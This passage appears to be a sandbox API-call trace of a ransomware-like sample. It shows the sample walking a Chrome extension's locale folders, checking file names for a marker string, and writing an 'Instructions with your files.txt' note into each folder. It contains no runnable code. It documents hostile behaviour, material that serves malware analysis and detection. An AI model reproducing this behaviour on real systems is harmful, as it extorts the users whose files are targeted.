[0129.893] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\.") returned 147
[0129.893] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8266a530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8266f350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.893] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\..") returned 148
[0129.893] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8266f350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.893] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\messages.json") returned 159
[0129.893] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.893] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8266f350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8266f350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x376, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.893] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\Instructions with your files.txt") returned 178
[0129.893] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.895] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.895] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.895] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.896] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.896] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.896] CloseHandle (hObject=0x134) returned 1
[0129.896] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.896] GetProcessHeap () returned 0x810000
[0129.896] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.896] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8267ddb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0129.896] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca") returned 145
[0129.896] GetProcessHeap () returned 0x810000
[0129.896] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.896] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*") returned 147
[0129.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8267ddb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.897] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\.") returned 147
[0129.897] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82676880, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8267ddb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.897] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\..") returned 148
[0129.897] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8267ddb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.897] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json") returned 159
[0129.897] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.897] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8267ddb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8267ddb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aab310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.897] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\Instructions with your files.txt") returned 178
[0129.897] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.898] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.899] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.899] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.899] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.899] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.899] CloseHandle (hObject=0x134) returned 1
[0129.899] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.899] GetProcessHeap () returned 0x810000
[0129.899] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.899] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a27a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826a27a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
[0129.899] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs") returned 145
[0129.899] GetProcessHeap () returned 0x810000
[0129.899] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.899] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*") returned 147
[0129.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a27a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826a27a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.899] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\.") returned 147
[0129.900] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826a0090, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a27a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826a27a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.900] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\..") returned 148
[0129.900] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826a27a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.900] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned 159
[0129.900] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.900] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826a27a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826a4eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x297, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.900] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\Instructions with your files.txt") returned 178
[0129.900] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.900] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.901] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.901] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.901] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.901] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.901] CloseHandle (hObject=0x134) returned 1
[0129.901] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.901] GetProcessHeap () returned 0x810000
[0129.901] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.902] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826b1200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
[0129.902] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da") returned 145
[0129.902] GetProcessHeap () returned 0x810000
[0129.902] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.902] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*") returned 147
[0129.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826b1200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.902] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\.") returned 147
[0129.903] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x826ac3e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x826b1200, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.903] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\..") returned 148
[0129.903] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826b1200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.903] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned 159
[0129.903] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.903] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x826b1200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x826b1200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82aada20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x282, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.903] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\Instructions with your files.txt") returned 178
[0129.903] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.903] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.904] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
